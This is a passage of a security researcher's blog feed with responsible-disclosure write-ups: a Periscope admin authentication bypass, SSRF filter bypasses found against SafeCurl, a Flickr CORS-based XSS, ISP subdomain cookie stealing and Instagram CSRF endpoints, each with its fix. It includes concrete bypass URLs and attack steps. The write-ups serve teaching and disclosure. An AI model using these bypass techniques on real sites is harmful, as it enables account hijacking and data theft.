class="image-popup"> <img src="/images/periscope/periscope-admin-panel-5.png" /> </a> </figure> <p>From here we can now manage various aspects of Periscope, including users and streams.</p> <h4 id="fix">Fix</h4> <p>Twitter fixed this by making two changes. The first is to request an additional permission:</p> <figure class="highlight"> <pre> https://www.googleapis.com/auth/userinfo.email </pre> </figure> <p>The second is to correctly validate the user on callback.</p> <p>Now, the application returns a 401 when trying to authenticate with an invalid user:</p> <figure class="highlight"> <pre> HTTP/1.1 401 Unauthorized Content-Type: text/html; charset=utf-8 Location: /Login Strict-Transport-Security: max-age=31536000; preload X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1; mode=block Content-Length: 36 &lt;href="/Login"&gt;Unauthorized&lt;/a&gt;. </pre> </figure> <p><a href="https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/">Bypassing Google Authentication on Periscope's Administration Panel</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on July 20, 2015.</p> <![CDATA[Bug Bounties 101 - Getting Started]]> https://whitton.io/articles/bug-bounties-101-getting-started 2014-07-29T00:00:00-00:00 2014-07-29T00:00:00+01:00 Jack https://whitton.io [email protected] <p>Occasionally I’ll get an email from someone interested in getting involved in bug bounties. Whilst some people are quite protective about giving out information - nervous that having more people participating leaves less bugs, I believe that the more people involved the better. Getting paid for issues and gaining credibility is great, but the end goal should be to improve web security as a whole.</p> <p>I thought it’d be useful to compile some of the information I give out (as opposed to typing it out each time), and some tips for people starting out. If you have anything to add, shoot me a message and I’ll update this page.</p> <p>For anyone already working in web application security this is probably a bit too beginner for you.</p> <h4 id="bug-bounties">Bug Bounties</h4> <p>Bug bounties, also known as responsible disclosure programmes, are setup by companies to encourage people to report potential issues discovered on their sites. Some companies chose to reward a researcher with money, swag, or an entry in their hall-of-fame. If you’re interested in web application security then they’re a great way of honing your skills, with the potential of earning some money and/or credibility at the same time.</p> <h4 id="required-reading">Required Reading</h4> <p>There is one book that everyone recommends, and rightly so - <a href="http://www.amazon.co.uk/The-Web-Application-Hackers-Handbook/dp/1118026470">The Web Application Hackers Handbook</a>, which covers the majority of common web bugs, plus it uses Burp Suite in the examples.</p> <p>The <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">OWASP Top Ten</a> has a high-level overview of the most common web application bugs.</p> <h4 id="blogs">Blogs</h4> <p>Quite a few people, me included, blog about issues they find. This is a great insight into the type of bugs that exist on sites, plus they’re always an interesting read. These are the ones I can remember off the top of my head.</p> <ul> <li><a href="http://www.breaksec.com/?page_id=6002">Nir Goldshlager</a></li> <li><a href="http://homakov.blogspot.co.uk/">Egor Homakov</a></li> <li><a href="https://bitquark.co.uk/blog/">Bitquark</a></li> <li><a href="https://nealpoole.com/blog/">Neal Poole</a></li> <li><a href="http://nahamsec.com/">Behrouz Sadeghipour</a></li> <li><a href="http://stephensclafani.com/">Stephen Sclafani</a></li> <li><a href="http://insertco.in/articles">Christian Lopez</a></li> <li><a href="http://josipfranjkovic.blogspot.co.uk/">Josip Franjković</a></li> <li><a href="http://olivierbeg.nl/">Oliver Beg</a></li> </ul> <h4 id="toolset">Toolset</h4> <p>I’ll admit, I don’t use many tools, a lot of the time I’ll write a quick PHP/Python script. I should, it’d make my sessions more efficient, but these are the core ones I use all the time.</p> <p>One thing to note is that automated scanners (such as Acunetix or Nikto) generate <strong>a lot</strong> of noise. Most programmes forbid the use of them for this reason. Plus you’re highly unlikely to find something with such a scanner that no one else has found.</p> <ul> <li><a href="http://portswigger.net/burp/">Burp Suite</a> - An intercepting proxy which lets you modify requests on the fly, replay requests and so on.</li> <li><a href="http://nmap.org/">Nmap</a> - Useful for finding additional web servers to investigate (providing the scope of the programme is wide enough)</li> <li><a href="https://code.google.com/p/dns-discovery/">DNS-Discovery</a> - Find additional sub-domains to investigate</li> </ul> <h4 id="intentionally-vulnerable-applications">Intentionally Vulnerable Applications</h4> <p>Applications/systems which have vulnerabilities added to them are a fun way of testing out some techniques. You might find pages outputting user data without escaping (leading to XSS), or code which executes SQL queries in an insecure manner (leading to SQL Injection).</p> <ul> <li><a href="http://www.dvwa.co.uk/">Damn Vulnerable Web App</a></li> <li><a href="http://vulnhub.com/">VulnHub</a> (Not all of these are web applications)</li> </ul> <h4 id="programmes">Programmes</h4> <p>There are a lot of sites running a responsible disclosure programme now. The big ones are <a href="https://www.facebook.com/whitehat">Facebook</a>, <a href="https://www.google.co.uk/about/appsecurity/reward-program/">Google</a>, <a href="https://hackerone.com/yahoo">Yahoo</a> and <a href="https://www.paypal.com/uk/webapps/mpp/ebayincbugbounty-tc">PayPal</a>.</p> <p>If you start looking for bugs on the above sites you might be looking for a good week or two without finding anything, since they’ve been around for a while. One option is to find a smaller site or a new bounty, which probably won’t have had as many people looking at it.</p> <p>A good tip is to signup for one of the many sites which host bounties on behalf of other companies. This lets you submit reports in a common format and track the progress - easier than emailing for updates.</p> <ul> <li><a href="https://bugcrowd.com/">Bugcrowd</a></li> <li><a href="https://www.crowdcurity.com">CrowdCurity</a></li> <li><a href="https://hackerone.com">HackerOne</a></li> <li><a href="https://www.synack.com/">Synack</a> (You do need to apply and pass a test to join)</li> </ul> <h4 id="reporting">Reporting</h4> <p>When submitting a bug, you need to realise that different companies have different time frames for triaging and patching issues. Combined with the volume of reports, you may have to wait a few days/a week for a response. If you first language isn’t English, then it might be wise to submit a short video explaining it.</p> <p>Don’t be afraid to send in a report, but you’ll have to understand that the severity and impact that you think the bug has could be very different to how the security team views it. As time goes on, you’ll get a feel for what is an issue and what isn’t.</p> <p>Facebook has <a href="https://www.facebook.com/notes/facebook-bug-bounty/commonly-submitted-false-positives/744066222274273">compiled a list</a> of the most common false-positives reported.</p> <p><a href="https://whitton.io/articles/bug-bounties-101-getting-started/">Bug Bounties 101 - Getting Started</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on July 29, 2014.</p> <![CDATA[SafeCurl "Capture the Bitcoins" Post-Mortem]]> https://whitton.io/articles/safecurl-capture-the-bitcoins-post-mortem 2014-05-26T00:00:00-00:00 2014-05-26T00:00:00+01:00 Jack https://whitton.io [email protected] <p>It’s been a week since I launched the <a href="http://safecurl.fin1te.net">SafeCurl “Capture the Bitcoins”</a> contest, which has been a fun, but humbling event.</p> <p>Whilst I work as Security Engineer, and submitted my first bug bounty entry two years ago, I come from a development background. I’ve been writing PHP coming up to nine years now, though nothing much in production for the past year and a half.</p> <p>I wanted to take a break from searching for bugs, so decided to write some PHP (the language I surprisingly love). <a href="https://github.com/fin1te/safecurl">SafeCurl</a> seemed like a great starting point - a useful package, not too large, and still involving web app security.</p> <p>Once written, I launched the bounty. Primarilly to give it a thorough test, and partly because I wanted to see what it would be like <em>receiving</em> bug reports rathering than submitting them.</p> <p>In my head, I’d assumed that it would take <em>ages</em> for someone to bypass my code (if it happened at all). In reality, it took <strong>2 hours</strong>. The reason being that I had rushed the project, excited to get it released as soon as possible. Further investigation should have been done at the start, which would have stopped such a silly bypass being possible.</p> <p>Initially, there was going to be one 0.25B⃦ bounty. However, if the prize was won before most people had seen the site, there’s less incentive to keep looking. So I re-filled the wallet, and assumed this time no one would find a bypass.</p> <p>I paid out another 0.1B⃦ to two people suggesting a <a href="https://en.wikipedia.org/wiki/Dns_rebinding">DNS rebinding</a> attack may be possible. Whilst this was just a theory, I created a hot-fix to pin DNS in cURL.</p> <p>Then, three more 0.25B⃦ bounties caused by inconsistencies in PHP’s URL parsing and the <code><a href="http://uk3.php.net/curl_exec">curl_exec</a></code> function. After the first two were paid out, I declared the bounty over. However, the third was so similar to the previous two, it was only fair to pay out (from my personal wallet).</p> <p>I’ve rewarded an additional 0.95B⃦ than I’d planned, and I don’t have infinite Bitcoins, but it was worth the money.</p> <h3 id="bypasses">Bypasses</h3> <p>As I mentioned above, this was a stupid mistake. In the code, I’d blacklisted certain private ranges (<code>127.0.0.1/32</code>, <code>10.0.0.0/8</code>, <code>172.16.0.0/12</code>, <code>192.168.0.0/16</code>), but <code>0.0.0.0</code> could also be used to refer to localhost.</p> <p>The solution was pretty simple - blacklist <strong>any</strong> reserved ranges.</p> <p>Found by <a href="https://twitter.com/zoczus">@zoczus</a>.</p> <h5 id="dns-rebinding">DNS Rebinding</h5> <p>I was made aware that my code wasn’t safe from a DNS rebinding attack. This would involve rapidly switching the A record for the domain name from a valid IP (which passes any checks), to an internal IP. Whilst this is theoretical, I’ve played around with it but couldn’t get it to exploit, it was 1am and didn’t want to risk it whilst I was asleep.</p> <p>Two separate people raised it at the same time. Whilst I could have just paid the first, I thought it’d be fair to pay both since they came up with it independently (the Facebook attitude).</p> <p>For this, the IP returned from <code><a href="http://uk3.php.net/gethostbynamel">gethostbynamel</a></code> is pinned by replacing the hostname in the URL with the IP, then passing the original hostname in the HTTP “Host” header.</p> <p>Found by <a href="https://twitter.com/47696d6569">@47696d6569</a> and <a href="http://rya.nc/">rynac</a>.</p> <h5 id="url-parsing-issue-1">URL parsing issue #1</h5> <p>This was an interesting one. Whilst the <code>btc.txt</code> file couldn’t be accessed, it did bypass all other checks of SafeCurl so was worthy of the bounty. Passing <code>http://user:[email protected][email protected]</code> to <code><a href="http://uk3.php.net/parse_url">parse_url</a></code> causes <code>google.com</code> to be returned (PHP sees <code>[email protected]?</code> as the password). However, when the full URL is given to <code><a href="http://uk3.php.net/curl_exec">curl_exec</a></code>, it sees <code>safecurl.fin1te.net</code> as the host, and <code>@google.com/</code> as the query string. Pretty cool trick.</p> <p>A quick solution for this was to disable the use of credentials in the URL. This worked, until the next bypass was found.</p> <p>Found by <a href="https://twitter.com/shDaniell">@shDaniell</a>.</p> <h5 id="url-parsing-issue-2">URL parsing issue #2</h5> <p>Similar to the previous, passing <code><a href="http://validurl.com">http://validurl.com</a>#user:[email protected]</code> causes <code><a href="http://uk3.php.net/parse_url">parse_url</a></code> to see <code>validurl.com</code> as the host, and <code>user:[email protected]</code> as the fragment. Like before, <code><a href="http://uk3.php.net/curl_exec">curl_exec</a></code> handles this differently and uses <code>safecurl.fin1te.net</code>.</p> <p>This was patched by using <code>rawurlencode</code> on the username, password and fragment to prevent the URL getting parsed differently.</p> <p>Found by Marcus T.</p> <h5 id="url-parsing-issue-3">URL parsing issue #3</h5> <p>And the last one was again very similar. I didn’t URL encoded the query string, so <code><a href="http://google.com">http://google.com</a>?user:[email protected]</code> was used to bypass the check.</p> <p>The path and query string are now URL encoded too, with certain characters (<code>&amp; = ; [ ]</code>) left intact, else the receiving may not parse it properly.</p> <p>Found by <a href="https://twitter.com/iDeniSix">@iDeniSix</a>.</p> <h4 id="lessons-learnt">Lessons Learnt</h4> <h5 id="lesson-1---dont-rush">Lesson #1 - Don’t Rush</h5> <p>The first issue, along with typos, were caused by me rushing the project. These could have been prevented by taking it a bit slower, and by doing a proper design and investigation phase before starting development.</p> <h5 id="lesson-2---bug-bounties-are-a-great-idea">Lesson #2 - Bug Bounties are a Great Idea</h5> <p>Had I launched my code straight into production, without having ~1,000,000 attempts to bypass it, would have meant that the issues above would not have been fixed, thus causing vulnerable code to be deployed.</p> <p>There is a price to pay, namely the Bitcoins I paid out, but this is nothing compared to the cost of someone using it for malicious purposes.</p> <h5 id="lesson-3---have-unit-tests-get-code-reviews">Lesson #3 - Have Unit Tests, Get Code Reviews</h5> <p>This is something I’ve learnt from development in “real-life”. Unfortunately I didn’t apply this to my own project (partly because it was just me working on it, partly because of Lesson #1). Unit tests do seem a bit of a chore to write sometimes, but they can catch a lot of bugs being re-introduced in the codebase. Plus having someone look over your code from a different perspective is invaluable.</p> <h5 id="lesson-4---youre-not-as-good-as-you-think">Lesson #4 - You’re Not as Good as You Think</h5> <p>This may sound like a horrible lesson, but it’s not. Having something “secure” you wrote be ripped to shreds is a <em>really</em> awesome thing. It makes you realise that there may be gaps in your knowledge, and you now know where they are, and how to fix them. I’m really excited to launch another for this exact reason.</p> <h4 id="going-forward">Going Forward</h4> <p>SafeCurl version 2 will be released shortly. This will include real unit tests covering the code, and test cases for each of the bypasses (and any other techniques I can find). Plus, experimental IPv6 support will be added.</p> <p>Another bounty will be launched at some point. Whether it’s a SafeCurl bounty, or another concept, I’ve not decided.</p> <p>I will also be looking to port SafeCurl to other languages such as Java, Python, Ruby, etc. This will be more of a challenge, since my strongest skills lie with PHP. If anyone wants to help out drop me a message.</p> <h4 id="statistics">Statistics</h4> <p>A great part of the event was looking inside the Apache access logs to see some of the attempts people were making. I’ve included statistics, if you’re curious.</p> <p><strong>Total attempts</strong> 1,140,803</p> <p><strong>Average attempts per person</strong> 651</p> <p><strong>Average attempts per person (Excluding top 10)</strong> 20</p> <p><a href="https://whitton.io/articles/safecurl-capture-the-bitcoins-post-mortem/">SafeCurl "Capture the Bitcoins" Post-Mortem</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on May 26, 2014.</p> <![CDATA[SafeCurl: SSRF Protection, and a "Capture the Bitcoins"]]> https://whitton.io/articles/safecurl-ssrf-protection-and-a-capture-the-bitcoins 2014-05-19T00:00:00-00:00 2014-05-19T00:00:00+01:00 Jack https://whitton.io [email protected] <p>Server-Side Request Forgery attacks involve getting a target server to perform requests on our behalf. Rather than covering some <a href="https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit">great</a> <a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html">material</a> already published, this post will be to introduce a new PHP package designed to help prevent these sort of attacks.</p> <h3 id="protections">Protections</h3> <p>To protect our scripts from being abused in this way, we simply validate any URL or file path being passed to functions which can send requests. Of course, this is easier said than done.</p> <p>The first step is to validate the provided scheme (and port if specified). This is to stop requests to PHP’s extra protocols (<code>php://</code>, <code>phar://</code>) which would let an attacker read files off of the file system.</p> <figure style="text-align: center;"> <a href="/images/ssrf/ssrf-1.png" class="image-popup"> <img src="/images/ssrf/ssrf-1.png" /> </a> </figure> <p>The second is to validate the URL itself. This is to make sure that someone isn’t requested a blacklisted domain (such as <code><a href="https://jira.fin1te.net">https://jira.fin1te.net</a></code>), or a private/loopback IP (such as <code>127.0.0.1</code>). You should also resolve any domain names to their IP addresses, and validate these to make sure someone doesn’t use a DNS entry pointing to an invalid IP.</p> <figure style="text-align: center;"> <a href="/images/ssrf/ssrf-2.png" class="image-popup"> <img src="/images/ssrf/ssrf-2.png" /> </a> </figure> <p>Lastly, any redirects which cURL would normally handle should be caught, and the URL specified in the <code>Location</code> header validated using the above steps.</p> <figure style="text-align: center;"> <a href="/images/ssrf/ssrf-3.png" class="image-popup"> <img src="/images/ssrf/ssrf-3.png" /> </a> </figure> <p>Putting this all together, we get <a href="https://github.com/fin1te/safecurl">SafeCurl</a>.</p> <h3 id="safecurl">SafeCurl</h3> <p>SafeCurl has been designed to be a drop in replacement for the <a href="http://php.net/manual/en/function.curl-exec.php"><code>curl_exec</code></a> function in PHP. Whilst there are other functions in PHP which can be used to grab the contents of a URL (<code>file_get_contents</code>, <code>fopen</code>, <code>include</code>), <code>curl_exec</code> is the most popular. In future versions, support for other functions will be added.</p> <p>To use SafeCurl, simply call the <a href="https://github.com/fin1te/safecurl/blob/master/src/fin1te/SafeCurl/SafeCurl.php#L107"><code>SafeCurl::execute</code></a> method where you’d usually call <code>curl_exec</code>, wrapping everything in a <code>try/catch</code> block.</p> <figure style="text-align: center;"> <a href="/images/ssrf/ssrf-4.png" class="image-popup"> <img src="/images/ssrf/ssrf-4.png" /> </a> </figure> <p>By default, SafeCurl will only allow HTTP or HTTPS requests, to ports 80, 443 and 8080, which don’t resolve to a private/loopback IP address.</p> <p>If you wish to specify additional options, instantiate a new <a href="https://github.com/fin1te/safecurl/blob/master/src/fin1te/SafeCurl/Options.php"><code>Options</code></a> object and pass in your custom rules. Domains are accepted in regular expression format, and IPs in <a href="https://en.wikipedia.org/wiki/Cidr">CIDR notation</a>.</p> <figure style="text-align: center;"> <a href="/images/ssrf/ssrf-5.png" class="image-popup"> <img src="/images/ssrf/ssrf-5.png" /> </a> </figure> <p>More usage information is available on the <a href="https://github.com/fin1te/safecurl">Github project</a>. If you find any issues please <a href="https://github.com/fin1te/safecurl/issues/new">raise them</a>, or better yet, submit a pull request.</p> <p>If you manage to find a way of bypassing it completely, then please participate in the bounty.</p> <h4 id="bounty-capture-the-bitcoins">Bounty (Capture the Bitcoins)</h4> <p>In order to give SafeCurl a real-world test, I’ve hosted a <a href="http://safecurl.fin1te.net">demo site</a>, which lets you try out the different protections.</p> <p>The document root contains a <a href="http://safecurl.fin1te.net/btc.txt">Bitcoin private key</a>, with 0.25BTC contained within. This file is only accessible from localhost, so if you do bypass it, grab the file and the Bitcoins are yours.</p> <p>The <a href="https://github.com/fin1te/safecurl.fin1te.net">source code</a> for the site is also available, if you’re interested.</p> <p>For more information see the <a href="http://safecurl.fin1te.net/#bounty">Bounty page</a>.</p> <p><a href="https://whitton.io/articles/safecurl-ssrf-protection-and-a-capture-the-bitcoins/">SafeCurl: SSRF Protection, and a "Capture the Bitcoins"</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on May 19, 2014.</p> <![CDATA[Abusing CORS for an XSS on Flickr]]> https://whitton.io/articles/abusing-cors-for-an-xss-on-flickr 2013-12-12T00:00:00-00:00 2013-12-12T00:00:00+00:00 Jack https://whitton.io [email protected] <p>I recently found an XSS on the mobile version of Flickr (<a href="http://m.flickr.com">http://m.flickr.com</a>). Due to the way the bug is triggered, I thought it deserved a write-up.</p> <p>Whilst browsing the site, you’ll notice that pages are loaded via AJAX with the path stored in the URL fragment (not as common these days now that <code><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState().C2.A0method">pushState</a></code> is available).</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-1.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-1.png" /> </a> </figure> <p>When the page is loaded, a function, <code>q()</code> (seen below), is called which will check the value of <code>location.hash</code>, and call <code>F.iphone.showSelectedPage()</code>.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-2.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-2.png" /> </a> </figure> <p>In order to load pages from the current domain, it checks for a leading slash. If this isn’t present, it prepends one when calling the next function, <code>F.iphone.showPageByHref()</code>.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-3.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-3.png" /> </a> </figure> <p>This function then performs a regex on the URL (line 160) to ensure that it’ll only load links from <code>m.flickr.com</code>. If this check fails, and the URL starts with a double slash (relative protocol link), it prepends it with <code><a href="http://m.flickr.com">http://m.flickr.com</a></code>. Pretty solid check, right?</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-4.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-4.png" /> </a> </figure> <p>Incase you didn’t notice, the first regex doesn’t anchor it to the start of the string. This means we can bypass it providing our own URL contains <code>m.flickr.com</code>.</p> <p>We can get our own external page loaded by passing in a URL like so:</p> <p><code>//fin1te.net/flickr.php?bypass=m.flickr.com</code></p> <p>The code will check for a leading slash (we have two :)), which it’ll pass, then checks for the domain, which will also pass, then load it via AJAX.</p> <p>Since we now have <a href="https://en.wikipedia.org/wiki/Cross-origin_resource_sharing">CORS</a> in modern browsers, the browser will send an initial OPTIONS request to the page (to ensure it’ll allow it to be loaded), then the real request.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-5.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-5.png" /> </a> </figure> <p>All we need to do is specify a couple of headers (the additional options in the <code>Access-Control-Allow-Headers</code> are to prevent syntax errors in the Javascript), along with our payload.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-6.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-6.png" /> </a> </figure> <p>The next part of the Javascript dumps the response into an element with <code>innerHTML</code>.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-7.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-7.png" /> </a> </figure> <p>Which leads to our payload being executed.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-8.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-8.png" /> </a> </figure> <h3 id="fix">Fix</h3> <p>This issue is now fixed by anchoring the regex to the start of the string, and also running another regex to check if it starts with a double slash.</p> <figure style="text-align: center;"> <a href="/images/flickrcors/flickr-cors-9.png" class="image-popup"> <img src="/images/flickrcors/flickr-cors-9.png" /> </a> </figure> <p><a href="https://whitton.io/articles/abusing-cors-for-an-xss-on-flickr/">Abusing CORS for an XSS on Flickr</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on December 12, 2013.</p> <![CDATA[Cookie Stealing on Customer Internet Connections]]> https://whitton.io/articles/cookie-stealing-on-customer-internet-connections 2013-11-19T00:00:00-00:00 2013-11-19T00:00:00+00:00 Jack https://whitton.io [email protected] <p><strong>tl;dr</strong>: ISPs, please reduce your cookie scope.</p> <p>Everyone now knows that hosting user generated content on a sub-domain is bad. Attacks have been demonstrated on sites such as <a href="http://homakov.blogspot.co.uk/2013/03/hacking-github-with-webkit.html">GitHub</a>, and it’s why Google uses googleusercontent.com.</p> <p>But what if you’re an ISP. You might not host any user-content, however, you probably assign customers an IP which has <a href="http://en.wikipedia.org/wiki/Reverse_DNS_lookup">Reverse DNS</a> set. You’ll probably see hostnames like <code class="highlighter-rouge">1-1-1-1-ip-static.hfc.comcastbusiness.net</code> or <code class="highlighter-rouge">2.2.2.2.threembb.co.uk</code>.</p> <p>This isn’t really an issue. The issue is when the hostname assigned is a sub-domain of your own site. If you do this, along with cookies with loose domain scope (fairly common practice), and forward DNS (again, fairly common), then this combination can result in cookie stealing, and therefore account hijacking.</p> <p>To pull this off, an attacker either needs to be a customer of the ISP they’re targeting, or have access to a machine of a customer (pretty easy with the use of botnets). A web server is then hosted on the connection, and referenced by the hostname assigned (as opposed to the IP).</p> <h3 id="example">Example</h3> <p>Rather than showing a real world example, I’d rather keep the companies names private, I’ve setup a proof-of-concept.</p> <p>We have a fake ISP hosted on <a href="http://fin1te-dsl.com">fin1te-dsl.com</a>, which mimics an ISPs portal. Registering an account and logging in generates a session cookie (try it out).</p> <figure style="text-align: center;"> <a href="/images/fin1tedsl/fin1te-dsl-1.png" class="image-popup"> <img src="/images/fin1tedsl/fin1te-dsl-1.png" /> </a> </figure> <p>We also have a site (152-151-64-212.cust.dsl.fin1te-dsl.com) which in real life would be hosted on a users own connection. A page, <a href="http://152-151-64-212.cust.dsl.fin1te-dsl.com/debug.php">152-151-64-212.cust.dsl.fin1te-dsl.com/debug.php</a>, is hosted to display the cookies back for debug purposes.</p> <figure style="text-align: center;"> <a href="/images/fin1tedsl/fin1te-dsl-2.png" class="image-popup"> <img src="/images/fin1tedsl/fin1te-dsl-2.png" /> </a> </figure> <p>Now, we just need a user who has a session to submit a request to our own site and we can grab them. Since we’re accessing the cookies via the HTTP request and not via Javascript, we can write a quick stealer which sets a content-type of <code class="highlighter-rouge">image/jpeg</code> and embed the image on a page.</p> <figure style="text-align: center;"> <a href="/images/fin1tedsl/fin1te-dsl-3.png" class="image-popup"> <img src="/images/fin1tedsl/fin1te-dsl-3.png" /> </a> </figure> <p>And the cookies show up in the logs.</p> <figure style="text-align: center;"> <a href="/images/fin1tedsl/fin1te-dsl-4-1.png" class="image-popup"> <img src="/images/fin1tedsl/fin1te-dsl-4-1.png" /> </a> </figure> <p>We just need to set our own cookie to this value and we’ve successfuly hijacked their session.</p> <p>Out of the four major UK ISPs I tested, two were vulnerable (now patched). If you assume an equal market share (based on <a href="http://www.ons.gov.uk/ons/rel/rdit2/internet-access---households-and-individuals/2012/stb-internet-access--households-and-individuals--2012.html">2012 estimates</a>), that’s approximately 10.5 million users who can be potentially targeted. Of course, they have to be logged in - but you can always embed the cookie stealer as an image on a support forum, for example.</p> <h3 id="mitigation-techniques">Mitigation Techniques</h3> <p>We have three mitigation options. The first is to remove super cookies and restrict the scope to a single domain. This may be impractical if you separate content onto different sub-domains. The second is to disable forward DNS for customers. And the third is to change the hostname assigned to one which isn’t a sub-domain.</p> <p>In addition, techniques such as pinning a session to an IP address will help to an extent. Unless you store a CSRF token in a cookie, in which case, we can just CSRF the user.</p> <h3 id="source">Source</h3> <p>If you want to browse the source code of the proof-of-concept, it’s available <a href="https://github.com/fin1te/fin1te-dsl">on Github</a>.</p> <h3 id="note">Note</h3> <p>Since I didn’t have the time to test every single ISP in the world (just the UK ones) for the three requirements that make them vulnerable, I decided to send an email to <code class="highlighter-rouge">security@</code> addresses at the top 25 ISPs - 20 of these bounced, and I received no reply from the other 5.</p> <p>The two UK ones I originally contacted patched promptly and gave good updates, so kudos to you two.</p> <p><a href="https://whitton.io/articles/cookie-stealing-on-customer-internet-connections/">Cookie Stealing on Customer Internet Connections</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on November 19, 2013.</p> <![CDATA[Instagram's One-Click Privacy Switch]]> https://whitton.io/articles/instagrams-one-click-privacy-switch 2013-10-31T00:00:00-00:00 2013-10-31T00:00:00+00:00 Jack https://whitton.io [email protected] <p>Back in April I found three CSRF issues on Instagram, stemming from their Android/iOS App API (which is slightly different from their <a href="http://instagram.com/developer">public API</a> - it’s hosted on their main domain and doesn’t need an access token).</p> <p>These issues were present in the following end-points:</p> <ul> <li><code class="highlighter-rouge">accounts/remove_profile_pic</code> - This is used to remove the profile picture from an account</li> <li><code class="highlighter-rouge">accounts/set_private</code> - This is used to mark a profile as private</li> <li><code class="highlighter-rouge">accounts/set_public</code> - This is used to mark a profile as public</li> </ul> <p>Obviously the best one out of these is <code class="highlighter-rouge">accounts/set_public</code>. With a simple GET request we can reveal anyones profile and access their private pictures. Pretty cool.</p> <figure style="text-align: center;"> <a href="/images/instagramprivacy/instagram-privacy-1-3.png" class="image-popup"> <img src="/images/instagramprivacy/instagram-privacy-1-3.png" /> </a> </figure> <p>Facebook patched the holes pretty quickly and I was awarded a decent bounty for it.</p> <p>Once patched I checked to make sure that it was indeed fixed, and issuing a GET request returns a <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.6">405 Method Not Allowed</a> response.</p> <figure style="text-align: center;"> <a href="/images/instagramprivacy/instagram-privacy-2.png" class="image-popup"> <img src="/images/instagramprivacy/instagram-privacy-2.png" /> </a> </figure> <h3 id="round-two">Round Two</h3> <p>I didn’t blog about the issue and completely forgot about it until recently. I decided to have another look at the Android App to see if there was any new end-points to play around with.</p> <p>Pretty much all API requests within the app call a method named <code class="highlighter-rouge">setSignedBody</code>. This generates a hash of the parameters with a secret embedded in an <code class="highlighter-rouge">.so</code> file, meaning we can’t craft our own request on-the-fly and submit on the users behalf (without extracting the secret).</p> <figure style="text-align: center;"> <a href="/images/instagramprivacy/instagram-privacy-3.png" class="image-popup"> <img src="/images/instagramprivacy/instagram-privacy-3.png" /> </a> </figure> <p>However, the three end-points I submitted still didn’t use <code class="highlighter-rouge">setSignedBody</code> (presumably because there are no parameters needed), and therefore no token is sent along. Because of this, we can submit a POST request and still perform the attack which was supposed to be fixed!</p> <figure style="text-align: center;"> <a href="/images/instagramprivacy/instagram-privacy-4.png" class="image-popup"> <img src="/images/instagramprivacy/instagram-privacy-4.png" /> </a> </figure> <p>The use of <code class="highlighter-rouge">setSignedBody</code> without a CSRF token means that <strong>all</strong> end-points are vulnerable to a replay attack. You simply submit the request yourself, catch the request in Burp, and replay to the victim. Unfortunately, this is something I realised <em>after</em> the bug was fixed, so no screenshots available.</p> <p>So the moral here is that you should <strong>double-double-check</strong> that an issue is fixed. If I’d been more thorough in testing the fix I would have spotted it sooner than four months, my bad.</p> <h3 id="fix">Fix</h3> <p>This is now patched by requiring all requests to have a <code class="highlighter-rouge">csrftoken</code> parameter. Any request which is signed also requires a <code class="highlighter-rouge">_uid</code> parameter to prevent replay attacks (unless you extract the secret…).</p> <p>The original proof-of-concept now returns a 400 error.</p> <figure style="text-align: center;"> <a href="/images/instagramprivacy/instagram-privacy-5.png" class="image-popup"> <img src="/images/instagramprivacy/instagram-privacy-5.png" /> </a> </figure> <p>The response body is a JSON object showing the error message.</p> <figure style="text-align: center;"> <a href="/images/instagramprivacy/instagram-privacy-6.png" class="image-popup"> <img src="/images/instagramprivacy/instagram-privacy-6.png" /> </a> </figure> <p><a href="https://whitton.io/articles/instagrams-one-click-privacy-switch/">Instagram's One-Click Privacy Switch</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on October 31, 2013.</p> <![CDATA[Content Types and XSS: Facebook Studio]]> https://whitton.io/articles/content-types-and-xss-facebook-studio 2013-10-21T00:00:00-00:00 2013-10-21T00:00:00+01:00 Jack https://whitton.io [email protected] <p>I’ve found a few bugs on various Facebook satellite/marketing domains (ones which are part of the Facebook brand, but not necessarily hosted/developed by them, and not under the *.facebook.com domain). Most of them aren’t that serious.</p> <p>This one isn’t an exception, and I wouldn’t normally blog about it, but it’s an interesting use case as to why content types are important.</p> <p>The bug is an XSS discovered on <a href="http://www.facebook-studio.com">Facebook Studio</a>. This is linked to by some Facebook marketing pages, and is used to showcase advertising campaigns on Facebook.</p> <figure style="text-align: center;"> <a href="/images/fbstudio/fb-studio-1.png" class="image-popup"> <img src="/images/fbstudio/fb-studio-1.png" /> </a> </figure> <p>There is an area which allows you to submit work to the <a href="https://www.facebook-studio.com/gallery">Gallery</a>. This form conveniently has an option to scrape details from your Facebook page and fill in boxes for you (such as Company Name, Description).</p> <p>This calls an AJAX end-point with your pages URL as a parameter.</p> <figure style="text-align: center;"> <a href="/images/fbstudio/fb-studio-2-1.png" class="image-popup"> <img src="/images/fbstudio/fb-studio-2-1.png" /> </a> </figure> <p>If we set our pages description to something containing HTML/Javascript, it’s properly escaped. However, 